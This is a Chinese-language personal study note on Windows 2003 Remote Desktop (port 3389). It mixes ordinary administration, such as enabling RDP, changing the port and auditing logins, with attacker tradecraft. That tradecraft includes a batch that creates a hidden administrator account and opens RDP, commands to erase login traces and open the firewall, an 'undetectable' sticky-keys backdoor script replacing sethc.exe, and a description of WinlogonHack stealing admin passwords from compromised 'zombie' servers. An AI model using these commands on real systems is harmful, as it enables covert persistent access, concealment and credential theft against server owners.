3389学习笔记

Windows 2003开启远程终端

1，  允许开启

在我的电脑，属性，远程，选允许连接到这台计算机。

2，  授权用户

可以添加用户。

3，  查看端口开放情况

Netstat –an或者netstat –an|find “3389”

4，  远程登录

运行mstsc程序，地址写刚刚那台服务器的ip或域名。然后连接，之后输入用户名和密码。

常见的开启远程端口的方法：

1，  使用vbs脚本，

2，  使用bat批处理命令

echo[Components]>c:\sql

echoTSEnable=on>>c:\sql 

sysocmgr/i:c:\winnt\inf\sysoc.inf/u:c:\sql/q

这里的winnt应该就是相当于windows

3，  编写导入注册表文件

命令行：

reg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /f  reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 

4，  Sql注入软件启动

5，  其他软件

DameWare Mini Remote Control

这里面好多方法都比较老，对付的都是windows2000或者xp

来自国外黑客的开启命令：

1.  net user antian365.com antian365 /add  

2.  net localgroup Administrators  antian365.com /add  

3.  net localgroup "Remote Desktop Users"  antian365.com /add  

4.  attrib +h "%SYSTEMDRIVE%\Documents and Settings\antian365.com" /S /D  

5.  echo Y | reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t reg_dword /d 0  

6.  echo Y | reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v AllowTSConnections /t reg_dword /d 1  

7.  echo Y | reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v "antian365.com" /t REG_DWORD /d 00000000 /f  

8.  sc config rasman start= auto 

9.  sc config remoteaccess start= auto 

10. net start rasman  

11. net start remoteaccess

 

既然3389这么危险，所以更改这个默认端口就很有必要了。

1， 在命令行下批处理命令

1.  REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp" /v PortNumber /t REG_DWORD /d 0X22B8 /f  

2.  REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"  /v PortNumber /t REG_DWORD /d 0X22B8 /f  

这里要用16进制。

2， 图形化修改：

在注册表local_machine中system\currntcontrolsetcontrol\control\terminal server\wds\rdpwd\tds\tcp里面的portnumber改掉。同时该

system\currntcontrolsetcontrol\control\terminal server\winstations\rdp-tcp里面的portnumber。然后在连接的时候就在ip后面加上端口号192.168.1.128:12345

 

 

改好了之后呢要查看一下。

通过vbs脚本就不写了，好多系统都不让跑。通过注册表查询：

1.  REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\ WinStations\RDP-Tcp /v PortNumber 

这个命令在我这有语法错误。费解。用这个也不错：

regedit /e tsp.reg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal server\Wds\rdpwd\Tds\tcp"

生成一个注册表文件。然后在 type tsp.reg

 

至于那个控制终端用户的操作界面，就是让你们在一起操作，没兴趣。不过查看当前控制用户命令不错。

Query session就能显示你的用户id号了。然后想和b乱搞。就shadow b的id号。然后b上就有显示了。他同意你们就可以开始了。如果不想玩了，loggff退出。

在共同管理计算机时，普通的关机不会通知别的用户，但是用tsshutdn 15 /powerdown15秒内关机就能通知。并且按ctrl + c可以取消。

小技巧：query process,query user.

Iisreset /reboot /timeout:00    重启命令。

在mstsc的快捷键：CTRL+ALT+END任务管理器，BREAK,全屏

ALT+PGUP/DOWN 程序切换

ALT+HOME 开始，可以这样再结合其他的快捷键。

 

限制用户和用户组。

在服务器端，管理工具，终端服务配置，连接，在选择右面rdptcp的属性，权限，就能改了，可以白所有组都删除，然后只留一个自己的。就算有管理员密码也不好使了。

 

 

记录登陆信息

在上面那个属性，审核里面，单机添加，然后选择用户是点高级，立即查找，添加everyone，然后审核

登陆的全部

连接，注销，断开的成功。我猜这个就是存放在注册表里面的。

然后是可以在指定文件里记录登录信息。

同样，在那个rdptcp属性里面，有个环境，点击登录时启动这个程序。写bat程序的绝对路径，和路径，然后就ok了。

付上3389.bat

1.  date /t >>3389log.txt   

2.  time /t >>3389log.txt   

3.  netstat -n -p tcp | find ":3389">>3389log.txt  

4.  start Explorer  

11．实用技巧之十一--清除3389的登录记录

用一条系统自带的命令：

1.  reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client"  /f 

在我的电脑里找不到，这里属于注册表攻击了。

取消xp&2003系统防火墙对终端服务3389端口的限制及IP连接的限制

1.  REG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\ FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled:@xpsp2res.dll,-22009 /f 

12．实用技巧之十二--去掉限制登录

终端超出最大连接数时可用下面的命令来连接

1.  mstsc /v:ip:3389 /console 

13．实用技巧之十三--永不查杀的3389后门

永不查杀的3389后门其原理就是利用shift后门，连敲5次Shift键即可直接进入服务器。将以下代码复制到服务器上通过DOS命令提示符窗口执行即可。

1.  @echo off  

2.  copy c:\windows\explorer.exe c:\windows\system32\sethc.exe  

3.  copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe  

4.  attrib c:\windows\system32\sethc.exe +h  

5.  attrib c:\windows\system32\dllcache\sethc.exe +h  

6.  echo. & pause  

7.  Exit  

14．实用技巧之十四--WinlogonHack记录3389登录密码，哈哈，这个软件。

WinlogonHack的原理很简单就是记录管理员登录的密码，当有3389登上时，自动加载DLL，并且记录登录密码！保存为boot.dat文件。最新的一些版本已经可以将记录的密码发送到指定的邮箱，只要服务器连接网络，那么肉鸡就永远不会丢失。